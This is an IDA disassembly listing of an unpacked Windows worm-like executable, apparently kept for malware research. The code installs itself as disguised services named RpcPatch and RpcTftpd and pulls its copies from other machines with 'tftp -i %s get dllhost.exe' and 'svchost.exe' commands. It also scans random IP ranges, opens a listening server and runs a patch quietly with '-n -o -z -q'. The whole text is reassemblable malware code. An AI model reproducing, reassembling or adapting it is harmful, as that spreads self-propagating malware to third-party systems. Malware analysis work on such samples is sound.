;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	5C860F7B2FAACA287E05CA78DE353EC3

; File Name   :	u:\work\5c860f7b2faaca287e05ca78de353ec3_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00006000 (  24576.)
; Section size in file		: 00006000 (  24576.)
; Offset to raw	data for section: 00001000
; Flags	E0000080: Bss Executable Readable Writable
; Alignment	: default

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg000		segment	para public 'CODE' use32
		assume cs:seg000
		;org 401000h
		assume es:nothing, ss:nothing, ds:seg000, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================



sub_401000	proc near		; CODE XREF: sub_402A00+Dp
					; DATA XREF: sub_40A2D7+EEr ...

var_230		= dword	ptr -230h
var_22C		= byte ptr -22Ch
var_228		= dword	ptr -228h
var_20C		= byte ptr -20Ch
var_108		= byte ptr -108h
var_107		= byte ptr -107h
arg_0		= dword	ptr  4

		sub	esp, 230h
		push	ebp
		push	esi
		push	edi
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [esp+23Ch+var_107]
		mov	[esp+23Ch+var_108], 0
		lea	edx, [esp+23Ch+var_108]
		rep stosd
		mov	edi, [esp+23Ch+arg_0]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	[esp+23Ch+var_230], 0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		push	eax
		rep movsb
		mov	ecx, 49h
		lea	edi, [esp+240h+var_22C]
		rep stosd
		push	2
		call	sub_403134	; CreateToolhelp32Snapshot
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4010E7
		lea	ecx, [esp+23Ch+var_230]
		mov	[esp+23Ch+var_230], 128h
		push	ecx
		push	edi
		call	sub_40312E	; Process32First
		test	eax, eax
		jz	short loc_4010E0
		mov	esi, dword_404120
		mov	ebp, dword_404140


loc_401091:				; CODE XREF: sub_401000+C9j
		lea	edx, [esp+23Ch+var_20C]
		push	2Eh
		push	edx
		call	esi ; dword_404120
		add	esp, 8
		test	eax, eax
		jz	short loc_4010A4
		mov	byte ptr [eax],	0


loc_4010A4:				; CODE XREF: sub_401000+9Fj
		lea	eax, [esp+23Ch+var_108]
		lea	ecx, [esp+23Ch+var_20C]
		push	eax
		push	ecx
		call	ebp ; dword_404140
		add	esp, 8
		test	eax, eax
		jz	short loc_4010CB
		lea	edx, [esp+23Ch+var_230]
		push	edx
		push	edi
		call	sub_403128	; Process32Next
		test	eax, eax
		jz	short loc_4010E0
		jmp	short loc_401091
; ---------------------------------------------------------------------------


loc_4010CB:				; CODE XREF: sub_401000+B8j
		push	edi
		call	dword_4040E0	; CloseHandle
		mov	eax, [esp+23Ch+var_228]
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 230h
		retn
; ---------------------------------------------------------------------------


loc_4010E0:				; CODE XREF: sub_401000+83j
					; sub_401000+C7j
		push	edi
		call	dword_4040E0	; CloseHandle


loc_4010E7:				; CODE XREF: sub_401000+6Cj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 230h
		retn
sub_401000	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401100	proc near		; CODE XREF: sub_401470+38p

var_2		= byte ptr -2
var_1		= byte ptr -1

		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_40413C
		call	esi ; dword_40413C
		cdq
		mov	ecx, 11h
		idiv	ecx
		cmp	edx, 0Eh
		jnz	short loc_40112E
		call	esi ; dword_40413C
		mov	ebx, eax
		and	ebx, 80000003h
		jns	short loc_401129
		dec	ebx


loc_401125:				; DATA XREF: sub_40A32A+7r
					; sub_41812A+7r
		or	ebx, 0FFFFFFFCh
		inc	ebx


loc_401129:				; CODE XREF: sub_401100+22j
		add	bl, 3Fh
		jmp	short loc_401160
; ---------------------------------------------------------------------------


loc_40112E:				; CODE XREF: sub_401100+16j
		cmp	edx, 0Fh
		jnz	short loc_401144
		call	esi ; dword_40413C
		cdq
		mov	ecx, 2Dh
		idiv	ecx
		mov	ebx, edx
		add	bl, 80h
		jmp	short loc_401160
; ---------------------------------------------------------------------------


loc_401144:				; CODE XREF: sub_401100+31j
		cmp	edx, 10h
		jnz	short loc_40115A
		call	esi ; dword_40413C
		cdq
		mov	ecx, 9
		idiv	ecx
		mov	ebx, edx


loc_401155:				; DATA XREF: sub_40A2D7+1Dr
					; sub_4180D7+1Dr
		sub	bl, 40h
		jmp	short loc_401160
; ---------------------------------------------------------------------------


loc_40115A:				; CODE XREF: sub_401100+47j
		mov	bl, byte_405BA4[edx]


loc_401160:				; CODE XREF: sub_401100+2Cj
					; sub_401100+42j ...
		call	esi ; dword_40413C
		and	eax, 800000FFh
		jns	short loc_401170
		dec	eax
		or	eax, 0FFFFFF00h
		inc	eax


loc_401170:				; CODE XREF: sub_401100+67j
		mov	[esp+0Ch+var_2], al
		call	esi ; dword_40413C
		and	eax, 800000FFh
		jns	short loc_401184
		dec	eax
		or	eax, 0FFFFFF00h
		inc	eax


loc_401184:				; CODE XREF: sub_401100+7Bj
		mov	[esp+0Ch+var_1], al
		call	esi ; dword_40413C
		and	eax, 800000FFh
		jns	short loc_401198
		dec	eax
		or	eax, 0FFFFFF00h
		inc	eax


loc_401198:				; CODE XREF: sub_401100+8Fj
		xor	edx, edx
		xor	ecx, ecx
		mov	ch, [esp+0Ch+var_1]
		mov	dh, bl
		mov	dl, [esp+0Ch+var_2]
		and	eax, 0FFh
		shl	edx, 10h
		or	eax, edx
		and	ecx, 0FFFFh
		pop	esi
		or	eax, ecx
		pop	ebx
		pop	ecx
		retn
sub_401100	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4011C0	proc near		; CODE XREF: seg000:004030AAp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		call	dword_4040CC	; FreeConsole
		call	sub_4027B0
		test	eax, eax
		jnz	short locret_4011FB
		push	104h
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		call	dword_4040D0	; GetSystemDirectoryA
		call	sub_402730
		sub	eax, 2
		jz	short loc_4011FC
		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4016D0
		add	esp, 8

locret_4011FB:				; CODE XREF: sub_4011C0+Dj
		retn
; ---------------------------------------------------------------------------


loc_4011FC:				; CODE XREF: sub_4011C0+27j
		jmp	sub_4027E0
sub_4011C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401210	proc near		; CODE XREF: sub_401280+AFp
					; sub_401280:loc_4013B1p ...
		push	esi
		mov	esi, dword_4040C8


loc_401217:				; CODE XREF: sub_401210+27j
		call	sub_401E80
		test	eax, eax
		jnz	short loc_401230


loc_401220:				; CODE XREF: sub_401210+1Ej
		push	927C0h
		call	esi ; dword_4040C8
		call	sub_401E80
		test	eax, eax
		jz	short loc_401220


loc_401230:				; CODE XREF: sub_401210+Ej
		call	sub_401EA0
		test	eax, eax
		jz	short loc_401217
		mov	esi, dword_40411C
		push	offset dword_407478
		push	offset aTftpISGetDllho ; "tftp -i %s get dllhost.exe wins\\DLLHOST"...
		push	offset dword_4075A8
		call	esi ; dword_40411C
		add	esp, 0Ch
		push	offset dword_407478
		push	offset aTftpISGetSvcho ; "tftp -i %s get svchost.exe wins\\SVCHOST"...
		push	offset dword_407628


loc_401262:				; DATA XREF: sub_40A2D7+94w
					; seg002:0040AEE1w
		call	esi ; dword_40411C
		add	esp, 0Ch
		call	sub_4020E0
		call	sub_402130
		pop	esi
		retn
sub_401210	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401280	proc near		; CODE XREF: sub_4016D0+Aj
					; seg000:0040294Fp

var_1A0		= word ptr -1A0h
var_194		= byte ptr -194h
var_190		= byte ptr -190h

		sub	esp, 1A4h
		lea	eax, [esp+1A4h+var_190]
		push	eax
		push	202h
		call	dword_40418C	; WSAStartup
		test	eax, eax
		jnz	loc_401359
		call	sub_402A00
		lea	ecx, [esp+1A4h+var_1A0]
		push	ecx
		call	dword_4040B8	; GetLocalTime
		cmp	[esp+1A4h+var_1A0], 7D4h
		jnz	short loc_4012DB
		push	offset aRpcpatch ; "RpcPatch"
		call	sub_402F00
		push	offset aRpctftpd ; "RpcTftpd"
		call	sub_402F00
		add	esp, 8
		call	sub_402970
		push	1
		call	dword_4040BC	; ExitProcess


loc_4012DB:				; CODE XREF: sub_401280+35j
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	dword_4040C0	; GetTickCount
		push	eax
		call	dword_404104	; srand
		mov	esi, dword_4040C8
		mov	ecx, 10h
		mov	eax, 0AAAAAAAAh
		mov	edi, offset dword_406430
		add	esp, 4
		rep stosd


loc_401306:				; CODE XREF: sub_401280+A3j
		push	109A0h
		call	sub_402FC0
		add	esp, 4
		mov	ds:dword_4075A0, eax
		push	64h
		call	esi ; dword_4040C8
		mov	eax, ds:dword_4075A0
		test	eax, eax
		jz	short loc_401306
		call	sub_401F30
		call	sub_402170
		call	sub_401210
		call	sub_401780
		lea	edx, [esp+1A4h+var_194]
		push	edx
		push	0
		push	0
		push	offset sub_401990
		push	0
		push	0
		call	dword_4040C4	; CreateThread
		test	eax, eax
		jnz	short loc_401360
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx


loc_401359:				; CODE XREF: sub_401280+18j
		add	esp, 1A4h
		retn
; ---------------------------------------------------------------------------


loc_401360:				; CODE XREF: sub_401280+D3j
		push	eax
		call	dword_4040E0	; CloseHandle
		push	offset aRpctftpd ; "RpcTftpd"
		call	sub_402540
		add	esp, 4
		test	eax, eax
		jnz	short loc_401398
		push	3E8h
		call	esi ; dword_4040C8
		call	sub_4015E0
		push	3E8h
		call	esi ; dword_4040C8
		push	offset aRpctftpd ; "RpcTftpd"
		call	sub_402540
		add	esp, 4


loc_401398:				; CODE XREF: sub_401280+F6j
		push	7D0h
		call	esi ; dword_4040C8
		mov	ebx, dword_404190
		mov	ebp, dword_404194
		mov	edi, dword_40413C


loc_4013B1:				; CODE XREF: sub_401280+1DEj
		call	sub_401210
		push	offset dword_407478
		call	ebp ; dword_404194
		push	eax
		call	ebx ; dword_404190
		mov	esi, eax
		push	0
		and	esi, 0FFFF0000h
		push	0
		push	1
		push	esi
		call	sub_401470
		add	esp, 10h
		call	sub_401210
		call	edi ; dword_40413C
		and	eax, 80000001h
		jns	short loc_4013EA
		dec	eax
		or	eax, 0FFFFFFFEh
		inc	eax


loc_4013EA:				; CODE XREF: sub_401280+163j
		jz	short loc_4013F4
		add	esi, 10000h
		jmp	short loc_4013FA
; ---------------------------------------------------------------------------


loc_4013F4:				; CODE XREF: sub_401280:loc_4013EAj
		sub	esi, 30000h


loc_4013FA:				; CODE XREF: sub_401280+172j
		push	0
		push	0
		push	3
		push	esi
		call	sub_401470
		call	sub_401210
		call	edi ; dword_40413C
		cdq
		mov	ecx, 4Ch
		xor	esi, esi
		idiv	ecx
		push	1
		push	0
		push	1
		mov	si, word_40537C[edx*2]
		shl	esi, 10h
		push	esi
		call	sub_401470
		add	esp, 20h
		call	sub_401210
		call	edi ; dword_40413C
		and	eax, 80000001h
		jns	short loc_401444
		dec	eax
		or	eax, 0FFFFFFFEh
		inc	eax


loc_401444:				; CODE XREF: sub_401280+1BDj
		jz	short loc_40144A
		push	0
		jmp	short loc_40144C
; ---------------------------------------------------------------------------


loc_40144A:				; CODE XREF: sub_401280:loc_401444j
		push	1


loc_40144C:				; CODE XREF: sub_401280+1C8j
		push	1
		push	1
		push	esi
		call	sub_401470
		add	esp, 10h
		call	sub_402A00
		jmp	loc_4013B1
sub_401280	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401470	proc near		; CODE XREF: sub_401280+14Fp
					; sub_401280+181p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 0Ch
		push	ebx
		push	ebp
		mov	ebp, dword_4040C8
		push	esi
		mov	esi, [esp+18h+arg_4]


loc_401480:				; DATA XREF: sub_40A2D7:loc_40A355w
		push	edi
		shl	esi, 10h


loc_401484:				; DATA XREF: sub_40A2D7+85w
					; seg002:loc_40AC7Ar
		xor	edi, edi
		xor	ebx, ebx


loc_401488:				; DATA XREF: sub_40A2D7+8Cw
					; seg002:0040AA53r
		test	esi, esi
		mov	[esp+1Ch+var_8], 1
		mov	[esp+1Ch+var_C], ebx
		mov	[esp+1Ch+var_4], esi
		jle	loc_4015C7


loc_4014A0:				; CODE XREF: sub_401470+151j
		mov	eax, [esp+1Ch+arg_8]
		test	eax, eax
		jz	short loc_4014B1
		call	sub_401100
		mov	ebx, eax
		jmp	short loc_4014B7
; ---------------------------------------------------------------------------


loc_4014B1:				; CODE XREF: sub_401470+36j
		mov	eax, [esp+1Ch+arg_0]
		add	ebx, eax


loc_4014B7:				; CODE XREF: sub_401470+3Fj
		cmp	bl, 0C5h
		jz	loc_4015B6
		mov	ecx, ebx
		shr	ecx, 8
		cmp	cl, 0C5h
		jz	loc_4015B6
		mov	eax, ebx
		shr	eax, 10h
		cmp	al, 0C5h
		jz	loc_4015B6
		mov	edx, ebx
		shr	edx, 18h
		cmp	dl, 0C5h
		jz	loc_4015B6
		cmp	bx, 9999h
		jz	loc_4015B6
		cmp	cx, 9999h
		jz	loc_4015B6
		cmp	ax, 9999h
		jz	loc_4015B6
		push	4
		call	sub_402FC0
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_40152D
		push	64h
		call	ebp ; dword_4040C8
		push	4
		call	sub_402FC0
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jz	short loc_401575


loc_40152D:				; CODE XREF: sub_401470+A7j
		test	edi, edi
		jz	short loc_401538
		push	edi
		call	dword_4040E0	; CloseHandle


loc_401538:				; CODE XREF: sub_401470+BFj
		push	ebx
		call	dword_404188	; ntohl
		mov	[esi], eax
		mov	eax, [esp+1Ch+arg_C]
		test	eax, eax
		jz	short loc_401558
		lea	eax, [esp+1Ch+arg_4]
		push	eax
		push	0
		push	esi
		push	offset sub_402C40
		jmp	short loc_401565
; ---------------------------------------------------------------------------


loc_401558:				; CODE XREF: sub_401470+D7j
		lea	ecx, [esp+1Ch+arg_4]
		push	ecx
		push	0
		push	esi
		push	offset sub_402B20


loc_401565:				; CODE XREF: sub_401470+E6j
		push	0
		push	0
		call	dword_4040C4	; CreateThread
		push	2
		mov	edi, eax
		call	ebp ; dword_4040C8


loc_401575:				; CODE XREF: sub_401470+BBj
		mov	eax, [esp+1Ch+var_8]
		test	eax, eax
		jz	short loc_401596
		cmp	[esp+1Ch+var_C], 12Ch
		jl	short loc_401596
		push	7D0h
		call	ebp ; dword_4040C8
		mov	[esp+1Ch+var_8], 0


loc_401596:				; CODE XREF: sub_401470+10Bj
					; sub_401470+115j
		cmp	ds:dword_4075A4, 12Ch
		jl	short loc_4015B2


loc_4015A2:				; CODE XREF: sub_401470+140j
		push	2
		call	ebp ; dword_4040C8
		cmp	ds:dword_4075A4, 12Ch
		jge	short loc_4015A2


loc_4015B2:				; CODE XREF: sub_401470+130j
		mov	esi, [esp+1Ch+var_4]


loc_4015B6:				; CODE XREF: sub_401470+4Aj
					; sub_401470+58j ...
		mov	ebx, [esp+1Ch+var_C]
		inc	ebx
		cmp	ebx, esi
		mov	[esp+1Ch+var_C], ebx
		jl	loc_4014A0


loc_4015C7:				; CODE XREF: sub_401470+2Aj
		push	0EA60h
		call	ebp ; dword_4040C8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0Ch
		retn
sub_401470	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4015E0	proc near		; CODE XREF: sub_401280+FFp
					; sub_4016D0p

var_208		= byte ptr -208h
var_104		= byte ptr -104h

		sub	esp, 208h
		lea	eax, [esp+208h+var_104]
		push	esi
		mov	esi, dword_40411C
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		push	offset aSDllcacheTftpd ; "%s\\dllcache\\tftpd.exe"
		push	eax
		call	esi ; dword_40411C
		add	esp, 0Ch
		lea	ecx, [esp+20Ch+var_208]
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		push	offset aSWinsSvchost_e ; "%s\\wins\\svchost.exe"
		push	ecx
		call	esi ; dword_40411C
		add	esp, 0Ch
		lea	edx, [esp+20Ch+var_208]
		lea	eax, [esp+20Ch+var_104]
		push	0
		push	edx
		push	eax
		call	dword_4040B4	; CopyFileA
		push	offset aMsdtc	; "MSDTC"
		push	offset aSvchost_exe ; "svchost.exe"
		push	offset aNetworkConnect ; "Network Connections Sharing"
		push	offset aRpctftpd ; "RpcTftpd"
		call	sub_4023E0
		add	esp, 10h
		pop	esi
		add	esp, 208h
		retn
sub_4015E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401660	proc near		; CODE XREF: sub_4016D0+5p

var_20C		= byte ptr -20Ch
var_108		= byte ptr -108h

		sub	esp, 20Ch
		lea	eax, [esp+20Ch+var_108]
		push	104h
		push	eax
		push	0
		call	dword_4040A8	; GetModuleFileNameA
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		lea	ecx, [esp+210h+var_20C]
		push	offset aSWinsDllhost_e ; "%s\\wins\\DLLHOST.EXE"
		push	ecx
		call	dword_40411C	; sprintf
		add	esp, 0Ch
		lea	edx, [esp+20Ch+var_20C]
		lea	eax, [esp+20Ch+var_108]
		push	0
		push	edx
		push	eax
		call	dword_4040B4	; CopyFileA
		push	offset aBrowser	; "Browser"
		push	offset aDllhost_exe ; "DLLHOST.EXE"
		push	offset aWinsClient ; "WINS Client"
		push	offset aRpcpatch ; "RpcPatch"
		call	sub_4023E0
		add	esp, 21Ch
		retn
sub_401660	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4016D0	proc near		; CODE XREF: sub_4011C0+33p
		call	sub_4015E0
		call	sub_401660
		jmp	sub_401280
sub_4016D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4016E0	proc near		; CODE XREF: sub_401780:loc_4018BCp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		push	0
		push	0
		push	eax
		push	ecx
		push	0
		call	sub_403110
		neg	eax
		sbb	eax, eax
		inc	eax
		retn
sub_4016E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401700	proc near		; CODE XREF: sub_401780+16Dp

var_54		= dword	ptr -54h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 54h
		push	edi
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+58h+var_44]
		rep stosd
		lea	ecx, [esp+58h+var_54]
		lea	edx, [esp+58h+var_44]
		push	ecx
		mov	ecx, [esp+5Ch+arg_0]
		push	edx
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	ecx
		push	eax
		mov	[esp+80h+var_44], 44h
		mov	[esp+80h+var_40], eax
		mov	[esp+80h+var_38], eax
		mov	[esp+80h+var_3C], eax
		mov	[esp+80h+var_28], eax
		mov	[esp+80h+var_2C], eax
		mov	[esp+80h+var_30], eax
		mov	[esp+80h+var_34], eax
		mov	[esp+80h+var_14], ax
		mov	[esp+80h+var_10], eax
		mov	[esp+80h+var_12], ax
		mov	[esp+80h+var_18], 1
		call	dword_4040E4	; CreateProcessA
		mov	ecx, [esp+58h+var_54]
		pop	edi
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		add	esp, 54h
		retn
sub_401700	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401780	proc near		; CODE XREF: sub_401280+B4p

var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= word ptr -0B8h
var_B6		= byte ptr -0B6h
var_B4		= byte ptr -0B4h

		sub	esp, 0C8h
		push	esi
		push	edi


loc_401788:				; DATA XREF: seg002:0040A550o
		call	sub_402310
		mov	edi, eax
		test	edi, edi
		jz	short loc_40179C
		cmp	edi, 1
		jnz	loc_4018C8


loc_40179C:				; CODE XREF: sub_401780+11j
		push	edi
		call	sub_402390
		add	esp, 4
		test	eax, eax
		jnz	loc_4018C8
		call	dword_4040A0	; GetOEMCP
		mov	esi, eax
		call	dword_4040A4	; GetSystemDefaultLCID
		mov	ecx, eax
		and	ecx, 3FFh
		shr	ax, 0Ah
		cmp	esi, 1B5h
		jnz	short loc_4017E7
		cmp	cx, 9
		jnz	loc_40192F
		cmp	ax, 1
		jnz	loc_40192F
		xor	eax, eax
		jmp	short loc_40185E
; ---------------------------------------------------------------------------


loc_4017E7:				; CODE XREF: sub_401780+4Dj
		cmp	esi, 3A8h
		jnz	short loc_40180A
		cmp	cx, 4
		jnz	loc_40192F
		cmp	ax, 2
		jnz	loc_40192F
		mov	eax, 1
		jmp	short loc_40185E
; ---------------------------------------------------------------------------


loc_40180A:				; CODE XREF: sub_401780+6Dj
		cmp	esi, 3B6h
		jnz	short loc_40182D
		cmp	cx, 4
		jnz	loc_40192F
		cmp	ax, 1
		jnz	loc_40192F
		mov	eax, 2
		jmp	short loc_40185E
; ---------------------------------------------------------------------------


loc_40182D:				; CODE XREF: sub_401780+90j
		cmp	esi, 3A4h
		jz	loc_40192F
		cmp	esi, 3B5h
		jnz	loc_40192F
		cmp	cx, 12h
		jnz	loc_40192F
		cmp	ax, 1
		jnz	loc_40192F
		mov	eax, 3


loc_40185E:				; CODE XREF: sub_401780+65j
					; sub_401780+88j ...
		mov	ecx, dword_4061A8
		mov	edx, dword_4061AC
		mov	[esp+0D0h+var_C8], ecx
		mov	ecx, dword_4061B0
		mov	[esp+0D0h+var_C4], edx
		mov	edx, dword_4061B4
		mov	[esp+0D0h+var_C0], ecx
		mov	cx, word_4061B8
		mov	[esp+0D0h+var_BC], edx
		mov	dl, byte_4061BA
		test	edi, edi
		mov	[esp+0D0h+var_B8], cx
		mov	[esp+0D0h+var_B6], dl
		jnz	short loc_4018AF
		mov	eax, off_405424[eax*4]
		lea	ecx, [esp+0D0h+var_C8]
		push	eax
		push	ecx
		jmp	short loc_4018BC
; ---------------------------------------------------------------------------


loc_4018AF:				; CODE XREF: sub_401780+11Ej
		mov	edx, off_405414[eax*4]
		lea	eax, [esp+0D0h+var_C8]
		push	edx
		push	eax


loc_4018BC:				; CODE XREF: sub_401780+12Dj
		call	sub_4016E0
		add	esp, 8
		test	eax, eax
		jnz	short loc_4018D3


loc_4018C8:				; CODE XREF: sub_401780+16j
					; sub_401780+27j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 0C8h
		retn
; ---------------------------------------------------------------------------


loc_4018D3:				; CODE XREF: sub_401780+146j
		lea	ecx, [esp+0D0h+var_C8]
		lea	edx, [esp+0D0h+var_B4]
		push	ecx
		push	offset aSNOZQ	; "%s -n -o -z -q"
		push	edx
		call	dword_40411C	; sprintf
		lea	eax, [esp+0DCh+var_B4]
		push	eax
		call	sub_401700
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jnz	short loc_401904
		pop	edi
		pop	esi
		add	esp, 0C8h
		retn
; ---------------------------------------------------------------------------


loc_401904:				; CODE XREF: sub_401780+179j
		push	57E40h
		push	esi
		call	dword_4040B0	; WaitForSingleObject
		test	eax, eax
		jz	short loc_40193A
		push	1
		push	esi
		call	dword_4040AC	; TerminateProcess
		push	esi
		call	dword_4040E0	; CloseHandle
		lea	ecx, [esp+0D0h+var_C8]
		push	ecx
		call	dword_4040E8	; DeleteFileA


loc_40192F:				; CODE XREF: sub_401780+53j
					; sub_401780+5Dj ...
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 0C8h
		retn
; ---------------------------------------------------------------------------


loc_40193A:				; CODE XREF: sub_401780+192j
		push	esi
		call	dword_4040E0	; CloseHandle
		mov	esi, dword_4040C8
		push	3A98h
		call	esi ; dword_4040C8
		lea	edx, [esp+0D0h+var_C8]
		push	edx
		call	dword_4040E8	; DeleteFileA
		push	edi
		call	sub_402390
		add	esp, 4
		test	eax, eax
		jz	short loc_401977
		push	2
		call	sub_4022A0
		add	esp, 4
		push	4E20h
		call	esi ; dword_4040C8


loc_401977:				; CODE XREF: sub_401780+1E4j
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0C8h
		retn
sub_401780	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401990	proc near		; DATA XREF: sub_401280+C2o

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= byte ptr -10h

		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_404150	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_401AFA
		push	0
		call	dword_404188	; ntohl
		mov	[esp+38h+var_20], 2
		mov	[esp+38h+var_1C], eax
		call	dword_40413C	; rand
		cdq
		mov	ecx, 64h
		mov	ebx, dword_404174
		idiv	ecx
		mov	ebp, dword_404178
		add	edx, 29Ah
		xor	esi, esi


loc_4019E3:				; CODE XREF: sub_401990+8Fj
		add	dx, si
		xor	eax, eax
		mov	al, dh
		mov	word_405B68, dx
		cmp	al, 0C5h
		jz	short loc_401A18
		cmp	dl, 0C5h
		jz	short loc_401A18
		push	edx
		call	ebx ; dword_404174
		lea	ecx, [esp+38h+var_20]
		push	10h
		push	ecx
		push	edi
		mov	[esp+44h+var_1E], ax
		call	ebp ; dword_404178
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A21
		mov	dx, word_405B68


loc_401A18:				; CODE XREF: sub_401990+63j
					; sub_401990+68j
		inc	esi
		cmp	esi, 3E8h
		jl	short loc_4019E3


loc_401A21:				; CODE XREF: sub_401990+7Fj
		cmp	esi, 3E8h
		jnz	short loc_401A37
		call	dword_40417C	; WSACleanup
		push	1
		call	dword_4040BC	; ExitProcess


loc_401A37:				; CODE XREF: sub_401990+97j
		push	7D0h
		push	edi
		call	dword_404180	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_401AF3
		lea	edx, [esp+38h+var_28]
		lea	eax, [esp+38h+var_10]
		push	edx
		push	eax
		push	edi
		mov	[esp+44h+var_28], 10h
		call	dword_404184	; accept
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_401AF3
		mov	ebp, dword_4040C8
		mov	ebx, dword_4040C4


loc_401A7C:				; CODE XREF: sub_401990+142j
		push	4
		call	sub_402FC0
		add	esp, 4
		test	eax, eax
		jnz	short loc_401A9C
		push	0Ah
		call	ebp ; dword_4040C8
		push	4
		call	sub_402FC0
		add	esp, 4
		test	eax, eax
		jz	short loc_401ABC


loc_401A9C:				; CODE XREF: sub_401990+F8j
		lea	ecx, [esp+38h+var_24]
		mov	[eax], esi
		push	ecx
		push	0
		push	eax
		push	offset sub_401C80
		push	0
		push	0
		call	ebx ; dword_4040C4
		test	eax, eax
		jz	short loc_401AE7
		push	eax
		call	dword_4040E0	; CloseHandle


loc_401ABC:				; CODE XREF: sub_401990+10Aj
		lea	edx, [esp+38h+var_28]
		lea	eax, [esp+38h+var_10]
		push	edx
		push	eax
		push	edi
		call	dword_404184	; accept
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_401A7C
		push	edi
		call	dword_404170	; closesocket
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 28h
		retn	4
; ---------------------------------------------------------------------------


loc_401AE7:				; CODE XREF: sub_401990+123j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_401AF3
		push	esi
		call	dword_404170	; closesocket


loc_401AF3:				; CODE XREF: sub_401990+B6j
					; sub_401990+DAj ...
		push	edi
		call	dword_404170	; closesocket


loc_401AFA:				; CODE XREF: sub_401990+18j
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 28h
		retn	4
sub_401990	endp

; ---------------------------------------------------------------------------
		align 10h

